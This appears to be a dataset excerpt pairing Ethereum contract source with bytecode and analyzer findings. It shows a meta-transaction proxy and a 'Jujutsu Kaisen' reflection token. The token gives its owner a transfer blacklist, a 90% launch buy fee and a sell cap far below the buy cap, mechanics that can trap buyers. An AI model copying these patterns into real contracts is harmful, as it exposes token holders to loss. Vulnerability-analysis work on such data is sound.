} /** * @dev remove addresses from the whitelist * @param addrs addresses * @return true if at least one address was removed from the whitelist, * false if all addresses weren't in the whitelist in the first place */ function removeAddressesFromWhitelist(address[] addrs) onlyOwner public { for (uint256 i = 0; i < addrs.length; i++) { removeAddressFromWhitelist(addrs[i]); } } } contract StartersProxy is Whitelist{ using SafeMath for uint256; uint256 public TX_PER_SIGNER_LIMIT = 5; //limit of metatx per signer uint256 public META_BET = 1 finney; //wei, equal to 0.001 ETH uint256 public DEBT_INCREASING_FACTOR = 3; //increasing factor (times) applied on the bet struct Record { uint256 nonce; uint256 debt; } mapping(address => Record) signersBacklog; event Received (address indexed sender, uint value); event Forwarded (address signer, address destination, uint value, bytes data); function() public payable { emit Received(msg.sender, msg.value); } constructor(address[] _senders) public { addAddressToWhitelist(msg.sender); addAddressesToWhitelist(_senders); } function forwardPlay(address signer, address destination, bytes data, bytes32 hash, bytes signature) onlyWhitelisted public { require(signersBacklog[signer].nonce < TX_PER_SIGNER_LIMIT, "Signer has reached the tx limit"); signersBacklog[signer].nonce++; //we increase the personal debt here //it grows much (much) faster than the actual bet to compensate sender's and proxy's expenses uint256 debtIncrease = META_BET.mul(DEBT_INCREASING_FACTOR); signersBacklog[signer].debt = signersBacklog[signer].debt.add(debtIncrease); forward(signer, destination, META_BET, data, hash, signature); } function forwardWin(address signer, address destination, bytes data, bytes32 hash, bytes signature) onlyWhitelisted public { require(signersBacklog[signer].nonce > 0, 'Hm, no meta plays for this signer'); forward(signer, destination, 0, data, hash, signature); } function forward(address signer, address destination, uint256 value, bytes data, bytes32 hash, bytes signature) internal { require(recoverSigner(hash, signature) == signer); //execute the transaction with all the given parameters require(executeCall(destination, value, data)); emit Forwarded(signer, destination, value, data); } //borrowed from OpenZeppelin's ESDA stuff: //https://github.com/OpenZeppelin/openzeppelin-solidity/blob/master/contracts/cryptography/ECDSA.sol function recoverSigner(bytes32 _hash, bytes _signature) onlyWhitelisted public view returns (address){ bytes32 r; bytes32 s; uint8 v; // Check the signature length require (_signature.length == 65); // Divide the signature in r, s and v variables // ecrecover takes the signature parameters, and the only way to get them // currently is to use assembly. assembly { r := mload(add(_signature, 32)) s := mload(add(_signature, 64)) v := byte(0, mload(add(_signature, 96))) } // Version of signature should be 27 or 28, but 0 and 1 are also possible versions if (v < 27) { v += 27; } // If the version is correct return the signer address require(v == 27 || v == 28); return ecrecover(keccak256( abi.encodePacked("\x19Ethereum Signed Message:\n32", _hash) ), v, r, s); } // this originally was copied from GnosisSafe // https://github.com/gnosis/gnosis-safe-contracts/blob/master/contracts/GnosisSafe.sol function executeCall(address to, uint256 value, bytes data) internal returns (bool success) { assembly { success := call(gas, to, value, add(data, 0x20), mload(data), 0, 0) } } function payDebt(address signer) public payable{ require(signersBacklog[signer].nonce > 0, "Provided address has no debt"); require(signersBacklog[signer].debt >= msg.value, "Address's debt is less than payed amount"); signersBacklog[signer].debt = signersBacklog[signer].debt.sub(msg.value); } function debt(address signer) public view returns (uint256) { return signersBacklog[signer].debt; } function gamesLeft(address signer) public view returns (uint256) { return TX_PER_SIGNER_LIMIT.sub(signersBacklog[signer].nonce); } function withdraw(uint256 amountWei) onlyWhitelisted public { msg.sender.transfer(amountWei); } function setMetaBet(uint256 _newMetaBet) onlyWhitelisted public { META_BET = _newMetaBet; } function setTxLimit(uint256 _newTxLimit) onlyWhitelisted public { TX_PER_SIGNER_LIMIT = _newTxLimit; } function setDebtIncreasingFactor(uint256 _newFactor) onlyWhitelisted public { DEBT_INCREASING_FACTOR = _newFactor; } }
0x60806040526004361061013d5763ffffffff7c01000000000000000000000000000000000000000000000000000000006000350416630988ca8c811461017557806318b919e9146101de578063217fe6c61461026857806324953eaa146102e3578063286dd3f5146103385780632e1a7d4d1461035957806349970e16146103715780635c85974f146104245780636295e10c1461043c578063715018a6146104635780637491983a146104785780637b9417c81461048d5780638da5cb5b146104ae5780639203cb9e146104df57806397aba7f9146105925780639b19251a146105f05780639b6c56ec14610611578063a67678b314610632578063bf7b69ee14610647578063d06927751461065b578063e2ec6ec31461067c578063f2fde38b146106d1578063f3f79a97146106f2578063fca649471461070a575b60408051348152905133917f88a5966d370b9919b20f3e2c13ff65706f196a4e32cc2c12bf57088f88525874919081900360200190a2005b34801561018157600080fd5b5060408051602060046024803582810135601f81018590048502860185019096528585526101dc958335600160a060020a03169536956044949193909101919081908401838280828437509497506107229650505050505050565b005b3480156101ea57600080fd5b506101f3610790565b6040805160208082528351818301528351919283929083019185019080838360005b8381101561022d578181015183820152602001610215565b50505050905090810190601f16801561025a5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561027457600080fd5b5060408051602060046024803582810135601f81018590048502860185019096528585526102cf958335600160a060020a03169536956044949193909101919081908401838280828437509497506107b59650505050505050565b604080519115158252519081900360200190f35b3480156102ef57600080fd5b50604080516020600480358082013583810280860185019096528085526101dc9536959394602494938501929182918501908490808284375094975061082a9650505050505050565b34801561034457600080fd5b506101dc600160a060020a0360043516610877565b34801561036557600080fd5b506101dc6004356108fa565b34801561037d57600080fd5b50604080516020600460443581810135601f81018490048402850184019095528484526101dc948235600160a060020a039081169560248035909216953695946064949293019190819084018382808284375050604080516020601f818a01358b0180359182018390048302840183018552818452989b8a359b909a9099940197509195509182019350915081908401838280828437509497506109549650505050505050565b34801561043057600080fd5b506101dc600435610a8e565b34801561044857600080fd5b50610451610ac0565b60408051918252519081900360200190f35b34801561046f57600080fd5b506101dc610ac6565b34801561048457600080fd5b50610451610b32565b34801561049957600080fd5b506101dc600160a060020a0360043516610b38565b3480156104ba57600080fd5b506104c3610bbb565b60408051600160a060020a039092168252519081900360200190f35b3480156104eb57600080fd5b50604080516020600460443581810135601f81018490048402850184019095528484526101dc948235600160a060020a039081169560248035909216953695946064949293019190819084018382808284375050604080516020601f818a01358b0180359182018390048302840183018552818452989b8a359b909a909994019750919550918201935091508190840183828082843750949750610bca9650505050505050565b34801561059e57600080fd5b5060408051602060046024803582810135601f81018590048502860185019096528585526104c3958335953695604494919390910191908190840183828082843750949750610ca19650505050505050565b3480156105fc57600080fd5b506102cf600160a060020a0360043516610e30565b34801561061d57600080fd5b50610451600160a060020a0360043516610e5f565b34801561063e57600080fd5b50610451610e7d565b6101dc600160a060020a0360043516610e83565b34801561066757600080fd5b50610451600160a060020a0360043516610fd5565b34801561068857600080fd5b50604080516020600480358082013583810280860185019096528085526101dc953695939460249493850192918291850190849080828437509497506110009650505050505050565b3480156106dd57600080fd5b506101dc600160a060020a036004351661104d565b3480156106fe57600080fd5b506101dc600435611070565b34801561071657600080fd5b506101dc6004356110a2565b61078c826001836040518082805190602001908083835b602083106107585780518252601f199092019160209182019101610739565b51815160209384036101000a60001901801990921691161790529201948552506040519384900301909220929150506110d4565b5050565b6040805180820190915260098152600080516020611548833981519152602082015281565b6000610821836001846040518082805190602001908083835b602083106107ed5780518252601f1990920191602091820191016107ce565b51815160209384036101000a60001901801990921691161790529201948552506040519384900301909220929150506110e9565b90505b92915050565b60008054600160a060020a0316331461084257600080fd5b5060005b815181101561078c5761086f828281518110151561086057fe5b90602001906020020151610877565b600101610846565b600054600160a060020a0316331461088e57600080fd5b6108bb81604080519081016040528060098152602001600080516020611548833981519152815250611108565b60408051600160a060020a038316815290517ff1abf01a1043b7c244d128e8595cf0c1d10743b022b03a02dffd8ca3bf729f5a9181900360200190a150565b61092733604080519081016040528060098152602001600080516020611548833981519152815250610722565b604051339082156108fc029083906000818181858888f1935050505015801561078c573d6000803e3d6000fd5b600061098333604080519081016040528060098152602001600080516020611548833981519152815250610722565b600254600160a060020a038716600090815260056020526040902054106109f4576040805160e560020a62461bcd02815260206004820152601f60248201527f5369676e657220686173207265616368656420746865207478206c696d697400604482015290519081900360640190fd5b600160a060020a038616600090815260056020526040902080546001019055600454600354610a289163ffffffff61122916565b600160a060020a038716600090815260056020526040902060010154909150610a57908263ffffffff61125216565b600160a060020a038716600090815260056020526040902060010155600354610a86908790879087878761125f565b505050505050565b610abb33604080519081016040528060098152602001600080516020611548833981519152815250610722565b600255565b60045481565b600054600160a060020a03163314610add57600080fd5b60008054604051600160a060020a03909116917ff8df31144d9c2f0f6b59d69b8b98abd5459d07f2742c4df920b25aae33c6482091a26000805473ffffffffffffffffffffffffffffffffffffffff19169055565b60025481565b600054600160a060020a03163314610b4f57600080fd5b610b7c81604080519081016040528060098152602001600080516020611548833981519152815250611379565b60408051600160a060020a038316815290517fd1bba68c128cc3f427e5831b3c6f99f480b6efa6b9e80c757768f6124158cc3f9181900360200190a150565b600054600160a060020a031681565b610bf733604080519081016040528060098152602001600080516020611548833981519152815250610722565b600160a060020a03851660009081526005602052604081205411610c8b576040805160e560020a62461bcd02815260206004820152602160248201527f486d2c206e6f206d65746120706c61797320666f722074686973207369676e6560448201527f7200000000000000000000000000000000000000000000000000000000000000606482015290519081900360840190fd5b610c9a8585600086868661125f565b5050505050565b600080600080610cd433604080519081016040528060098152602001600080516020611548833981519152815250610722565b8451604114610ce257600080fd5b50505060208201516040830151606084015160001a601b60ff82161015610d0757601b015b8060ff16601b1480610d1c57508060ff16601c145b1515610d2757600080fd5b604080517f19457468657265756d205369676e6564204d6573736167653a0a333200000000602080830191909152603c8083018a905283518084039091018152605c909201928390528151600193918291908401908083835b60208310610d9f5780518252601f199092019160209182019101610d80565b51815160209384036101000a60001901801990921691161790526040805192909401829003822060008084528383018087529190915260ff891683860152606083018b9052608083018a9052935160a08084019750919550601f1981019492819003909101925090865af1158015610e1b573d6000803e3d6000fd5b5050604051601f190151979650505050505050565b6000610824826040805190810160405280600981526020016000805160206115488339815191528152506107b5565b600160a060020a031660009081526005602052604090206001015490565b60035481565b600160a060020a03811660009081526005602052604081205411610ef1576040805160e560020a62461bcd02815260206004820152601c60248201527f50726f7669646564206164647265737320686173206e6f206465627400000000604482015290519081900360640190fd5b600160a060020a038116600090815260056020526040902060010154341115610f8a576040805160e560020a62461bcd02815260206004820152602860248201527f4164647265737327732064656274206973206c657373207468616e207061796560448201527f6420616d6f756e74000000000000000000000000000000000000000000000000606482015290519081900360840190fd5b600160a060020a038116600090815260056020526040902060010154610fb6903463ffffffff61145a16565b600160a060020a03909116600090815260056020526040902060010155565b600160a060020a0381166000908152600560205260408120546002546108249163ffffffff61145a16565b60008054600160a060020a0316331461101857600080fd5b5060005b815181101561078c57611045828281518110151561103657fe5b90602001906020020151610b38565b60010161101c565b600054600160a060020a0316331461106457600080fd5b61106d8161146c565b50565b61109d33604080519081016040528060098152602001600080516020611548833981519152815250610722565b600455565b6110cf33604080519081016040528060098152602001600080516020611548833981519152815250610722565b600355565b6110de82826110e9565b151561078c57600080fd5b600160a060020a03166000908152602091909152604090205460ff1690565b611172826001836040518082805190602001908083835b6020831061113e5780518252601f19909201916020918201910161111f565b51815160209384036101000a60001901801990921691161790529201948552506040519384900301909220929150506114e9565b7fd211483f91fc6eff862467f8de606587a30c8fc9981056f051b897a418df803a82826040518083600160a060020a0316600160a060020a0316815260200180602001828103825283818151815260200191508051906020019080838360005b838110156111ea5781810151838201526020016111d2565b50505050905090810190601f1680156112175780820380516001836020036101000a031916815260200191505b50935050505060405180910390a15050565b600082151561123a57506000610824565b5081810281838281151561124a57fe5b041461082457fe5b8181018281101561082457fe5b85600160a060020a03166112738383610ca1565b600160a060020a03161461128657600080fd5b61129185858561150b565b151561129c57600080fd5b7f3feda4a4283a2324819218d435d39ae4216f4fc19739efd162d695f9690061e1868686866040518085600160a060020a0316600160a060020a0316815260200184600160a060020a0316600160a060020a0316815260200183815260200180602001828103825283818151815260200191508051906020019080838360005b8381101561133457818101518382015260200161131c565b50505050905090810190601f1680156113615780820380516001836020036101000a031916815260200191505b509550505050505060405180910390a1505050505050565b6113e3826001836040518082805190602001908083835b602083106113af5780518252601f199092019160209182019101611390565b51815160209384036101000a6000190180199092169116179052920194855250604051938490030190922092915050611522565b7fbfec83d64eaa953f2708271a023ab9ee82057f8f3578d548c1a4ba0b5b70048982826040518083600160a060020a0316600160a060020a031681526020018060200182810382528381815181526020019150805190602001908083836000838110156111ea5781810151838201526020016111d2565b60008282111561146657fe5b50900390565b600160a060020a038116151561148157600080fd5b60008054604051600160a060020a03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a36000805473ffffffffffffffffffffffffffffffffffffffff1916600160a060020a0392909216919091179055565b600160a060020a0316600090815260209190915260409020805460ff19169055565b600080600083516020850186885af1949350505050565b600160a060020a0316600090815260209190915260409020805460ff19166001179055560077686974656c6973740000000000000000000000000000000000000000000000a165627a7a723058208f58c4177b37e9742e8bfcdf68ba20eb3e5a92fbc210d8548dd969f7c1177b060029
{"success": true, "error": null, "results": {"detectors": [{"check": "constant-function-asm", "impact": "Medium", "confidence": "Medium"}]}}
7,171
0x02ffab57e9d48cff12e7a47b69bab6e128f6d268
/** *Submitted for verification at Etherscan.io on 2021-09-30 */ /* Jujutsu Kaisen https://t.me/JujutsuKaisenETH */ // SPDX-License-Identifier: UNLICENSED pragma solidity ^0.8.4; abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if(a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a, b, "SafeMath: modulo by zero"); } function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } } contract Ownable is Context { address private _owner; address private _previousOwner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor () { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external payable returns (uint amountToken, uint amountETH, uint liquidity); } contract Jujutsu is Context, IERC20, Ownable { using SafeMath for uint256; mapping (address => uint256) private _rOwned; mapping (address => uint256) private _tOwned; mapping (address => mapping (address => uint256)) private _allowances; mapping (address => bool) private _isExcludedFromFee; mapping (address => bool) private _isExcluded; address[] private _excluded; mapping (address => bool) private _isBlackListedBot; address[] private _blackListedBots; mapping (address => User) private cooldown; uint256 private constant MAX = ~uint256(0); uint256 private constant _tTotal = 888888888 * 10**9; uint256 private _rTotal = (MAX - (MAX % _tTotal)); uint256 private _tFeeTotal; string private constant _name = unicode"Jujutsu Kaisen"; string private constant _symbol = unicode"JUJUTSU"; uint8 private constant _decimals = 9; uint256 private _taxFee = 0; uint256 private _gojoFee = 0; uint256 private _launchTime; uint256 private _previousTaxFee = _taxFee; uint256 private _previousgojoFee = _gojoFee; uint256 private _BuyFee = _gojoFee; uint256 private _SellFee = _gojoFee; uint256 private _maxBuyAmount; uint256 private _maxSellAmount; address payable private _FeeAddress; address payable private _FeeAddress2; IUniswapV2Router02 private uniswapV2Router; address private uniswapV2Pair; bool private tradingOpen; bool private _cooldownEnabled = true; bool private inSwap = false; uint256 private buyLimitEnd; struct User { uint256 buy; uint256 sell; bool exists; } event MaxBuyAmountUpdated(uint _maxBuyAmount); event CooldownEnabledUpdated(bool _cooldown); modifier lockTheSwap { inSwap = true; _; inSwap = false; } constructor (address payable FeeAddress, address payable FeeAddress2, address payable FeeAddress3) { _FeeAddress = FeeAddress; _FeeAddress2 = FeeAddress2; _rOwned[_msgSender()] = _rTotal; _isExcludedFromFee[owner()] = true; _isExcludedFromFee[address(this)] = true; _isExcludedFromFee[FeeAddress] = true; _isExcludedFromFee[FeeAddress2] = true; _isExcludedFromFee[FeeAddress3] = true; emit Transfer(address(0), _msgSender(), _tTotal); } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() public pure override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return tokenFromReflection(_rOwned[account]); } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function tokenFromReflection(uint256 rAmount) private view returns(uint256) { require(rAmount <= _rTotal, "Amount must be less than total reflections"); uint256 currentRate = _getRate(); return rAmount.div(currentRate); } function removeAllFee() private { if(_taxFee == 0 && _gojoFee == 0) return; _previousTaxFee = _taxFee; _previousgojoFee = _gojoFee; _taxFee = 0; _gojoFee = 0; } function restoreAllFee() private { _taxFee = _previousTaxFee; _gojoFee = _previousgojoFee; } function _approve(address owner, address spender, uint256 amount) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer(address from, address to, uint256 amount) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); require(!_isBlackListedBot[to], "You have no power here!"); require(!_isBlackListedBot[msg.sender], "You have no power here!"); if(from != owner() && to != owner()) { if(_cooldownEnabled) { if(!cooldown[msg.sender].exists) { cooldown[msg.sender] = User(0,0,true); } } // buy if(from == uniswapV2Pair && to != address(uniswapV2Router) && !_isExcludedFromFee[to]) { require(tradingOpen, "Trading not yet enabled."); require(amount <= _maxBuyAmount); _taxFee = 0; _gojoFee = _BuyFee; if(_cooldownEnabled) { if(buyLimitEnd > block.timestamp) { _gojoFee = 90; } } } // sell if (to == uniswapV2Pair && from != address(uniswapV2Router) && ! _isExcludedFromFee[from]) { require(amount <= _maxSellAmount); _taxFee = 0; _gojoFee = _SellFee; } uint256 contractTokenBalance = balanceOf(address(this)); if(!inSwap && from != uniswapV2Pair && tradingOpen) { if(contractTokenBalance > 0) { swapTokensForEth(contractTokenBalance); } uint256 contractETHBalance = address(this).balance; if(contractETHBalance > 0) { sendETHToFee(address(this).balance); } } } bool takeFee = true; if(_isExcludedFromFee[from] || _isExcludedFromFee[to]){ takeFee = false; } _tokenTransfer(from,to,amount,takeFee); } function swapTokensForEth(uint256 tokenAmount) private lockTheSwap { address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } function sendETHToFee(uint256 amount) private { _FeeAddress.transfer(amount.div(2)); _FeeAddress2.transfer(amount.div(2)); } function _tokenTransfer(address sender, address recipient, uint256 amount, bool takeFee) private { if(!takeFee) removeAllFee(); if (_isExcluded[sender] && !_isExcluded[recipient]) { _transferFromExcluded(sender, recipient, amount); } else if (!_isExcluded[sender] && _isExcluded[recipient]) { _transferToExcluded(sender, recipient, amount); } else if (!_isExcluded[sender] && !_isExcluded[recipient]) { _transferStandard(sender, recipient, amount); } else if (_isExcluded[sender] && _isExcluded[recipient]) { _transferBothExcluded(sender, recipient, amount); } else { _transferStandard(sender, recipient, amount); } if(!takeFee) restoreAllFee(); } function _transferStandard(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _transferToExcluded(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _tOwned[recipient] = _tOwned[recipient].add(tTransferAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _transferFromExcluded(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount); _tOwned[sender] = _tOwned[sender].sub(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _transferBothExcluded(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount); _tOwned[sender] = _tOwned[sender].sub(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _tOwned[recipient] = _tOwned[recipient].add(tTransferAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) { (uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _taxFee, _gojoFee); uint256 currentRate = _getRate(); (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate); return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam); } function _getTValues(uint256 tAmount, uint256 taxFee, uint256 GojoFee) private pure returns (uint256, uint256, uint256) { uint256 tFee = tAmount.mul(taxFee).div(100); uint256 tTeam = tAmount.mul(GojoFee).div(100); uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam); return (tTransferAmount, tFee, tTeam); } function _getRate() private view returns(uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply); } function _getCurrentSupply() private view returns(uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; for (uint256 i = 0; i < _excluded.length; i++) { if (_rOwned[_excluded[i]] > rSupply || _tOwned[_excluded[i]] > tSupply) return (_rTotal, _tTotal); rSupply = rSupply.sub(_rOwned[_excluded[i]]); tSupply = tSupply.sub(_tOwned[_excluded[i]]); } if(rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal); return (rSupply, tSupply); } function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) { uint256 rAmount = tAmount.mul(currentRate); uint256 rFee = tFee.mul(currentRate); uint256 rTeam = tTeam.mul(currentRate); uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam); return (rAmount, rTransferAmount, rFee); } function _takeTeam(uint256 tTeam) private { uint256 currentRate = _getRate(); uint256 rTeam = tTeam.mul(currentRate); _rOwned[address(this)] = _rOwned[address(this)].add(rTeam); } function _reflectFee(uint256 rFee, uint256 tFee) private { _rTotal = _rTotal.sub(rFee); _tFeeTotal = _tFeeTotal.add(tFee); } receive() external payable {} function addLiquidity() external onlyOwner() { require(!tradingOpen,"trading is already open"); IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); uniswapV2Router = _uniswapV2Router; _approve(address(this), address(uniswapV2Router), _tTotal); uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH()); uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp); _maxBuyAmount = 888888888 * 10**9; // TX LIMIT _maxSellAmount = 8888888 * 10**9; // 1% TX LIMIT _launchTime = block.timestamp; IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max); } function openTrading() public onlyOwner { tradingOpen = true; buyLimitEnd = block.timestamp + (600 seconds); } function manualswap() external { require(_msgSender() == _FeeAddress); uint256 contractBalance = balanceOf(address(this)); swapTokensForEth(contractBalance); } function manualsend() external { require(_msgSender() == _FeeAddress); uint256 contractETHBalance = address(this).balance; sendETHToFee(contractETHBalance); } function setCooldownEnabled(bool onoff) external onlyOwner() { _cooldownEnabled = onoff; emit CooldownEnabledUpdated(_cooldownEnabled); } function isExcluded(address account) public view returns (bool) { return _isExcluded[account]; } function excludeAccount(address account) external onlyOwner() { require(account != 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D, 'We can not exclude Uniswap router.'); require(!_isExcluded[account], "Account is already excluded"); if(_rOwned[account] > 0) { _tOwned[account] = tokenFromReflection(_rOwned[account]); } _isExcluded[account] = true; _excluded.push(account); } function includeAccount(address account) external onlyOwner() { require(_isExcluded[account], "Account is already excluded"); for (uint256 i = 0; i < _excluded.length; i++) { if (_excluded[i] == account) { _excluded[i] = _excluded[_excluded.length - 1]; _tOwned[account] = 0; _isExcluded[account] = false; _excluded.pop(); break; } } } function isBlackListed(address account) public view returns (bool) { return _isBlackListedBot[account]; } function addBotToBlackList(address account) external onlyOwner() { require(account != 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D, 'We can not blacklist Uniswap router.'); require(!_isBlackListedBot[account], "Account is already blacklisted"); _isBlackListedBot[account] = true; _blackListedBots.push(account); } function removeBotFromBlackList(address account) external onlyOwner() { require(_isBlackListedBot[account], "Account is not blacklisted"); for (uint256 i = 0; i < _blackListedBots.length; i++) { if (_blackListedBots[i] == account) { _blackListedBots[i] = _blackListedBots[_blackListedBots.length - 1]; _isBlackListedBot[account] = false; _blackListedBots.pop(); break; } } } function setExcludeFromFee(address account, bool excluded) external onlyOwner() { _isExcludedFromFee[account] = excluded; } function setTX(uint256 maxBuy, uint256 maxSell) external onlyOwner() { _maxBuyAmount = maxBuy; _maxSellAmount = maxSell; } function setYugiHour(bool enabled) external onlyOwner() { if (enabled) {_SellFee = 16; _BuyFee = 0; } else { _SellFee = 8; _BuyFee = 8; } } function thisBalance() public view returns (uint) { return balanceOf(address(this)); } function cooldownEnabled() public view returns (bool) { return _cooldownEnabled; } function timeToBuy(address buyer) public view returns (uint) { return block.timestamp - cooldown[buyer].buy; } function amountInPool() public view returns (uint) { return balanceOf(uniswapV2Pair); } }
0x6080604052600436106101c65760003560e01c80638da5cb5b116100f7578063c9567bf911610095578063e47d606011610064578063e47d606014610542578063e8078d941461057b578063f2cc0c1814610590578063f84354f1146105b057600080fd5b8063c9567bf914610499578063cba0e996146104ae578063db92dbb6146104e7578063dd62ed3e146104fc57600080fd5b8063a985ceef116100d1578063a985ceef14610425578063ac94dd0614610444578063af9549e014610464578063c3c8cd801461048457600080fd5b80638da5cb5b146103ad57806395d89b41146103d5578063a9059cbb1461040557600080fd5b80634303443d116101645780636fc3eaec1161013e5780636fc3eaec1461034357806370a0823114610358578063715018a6146103785780637ded4d6a1461038d57600080fd5b80634303443d146102e35780635932ead11461030357806368a3a6a51461032357600080fd5b806323b872dd116101a057806323b872dd1461027057806327f3a72a14610290578063313ce567146102a55780634126f695146102c157600080fd5b806306fdde03146101d2578063095ea7b31461021b57806318160ddd1461024b57600080fd5b366101cd57005b600080fd5b3480156101de57600080fd5b5060408051808201909152600e81526d253ab53aba39ba9025b0b4b9b2b760911b60208201525b6040516102129190612765565b60405180910390f35b34801561022757600080fd5b5061023b6102363660046126b4565b6105d0565b6040519015158152602001610212565b34801561025757600080fd5b50670c55f7bbee0830005b604051908152602001610212565b34801561027c57600080fd5b5061023b61028b366004612647565b6105e7565b34801561029c57600080fd5b50610262610650565b3480156102b157600080fd5b5060405160098152602001610212565b3480156102cd57600080fd5b506102e16102dc366004612717565b610660565b005b3480156102ef57600080fd5b506102e16102fe3660046125d7565b61069e565b34801561030f57600080fd5b506102e161031e3660046126df565b610810565b34801561032f57600080fd5b5061026261033e3660046125d7565b610895565b34801561034f57600080fd5b506102e16108b8565b34801561036457600080fd5b506102626103733660046125d7565b6108e5565b34801561038457600080fd5b506102e1610907565b34801561039957600080fd5b506102e16103a83660046125d7565b61097b565b3480156103b957600080fd5b506000546040516001600160a01b039091168152602001610212565b3480156103e157600080fd5b506040805180820190915260078152664a554a5554535560c81b6020820152610205565b34801561041157600080fd5b5061023b6104203660046126b